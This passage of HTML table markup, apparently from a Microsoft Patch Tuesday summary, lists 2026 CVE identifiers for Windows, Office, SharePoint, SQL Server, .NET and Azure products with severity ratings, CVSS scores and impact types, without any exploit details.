  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
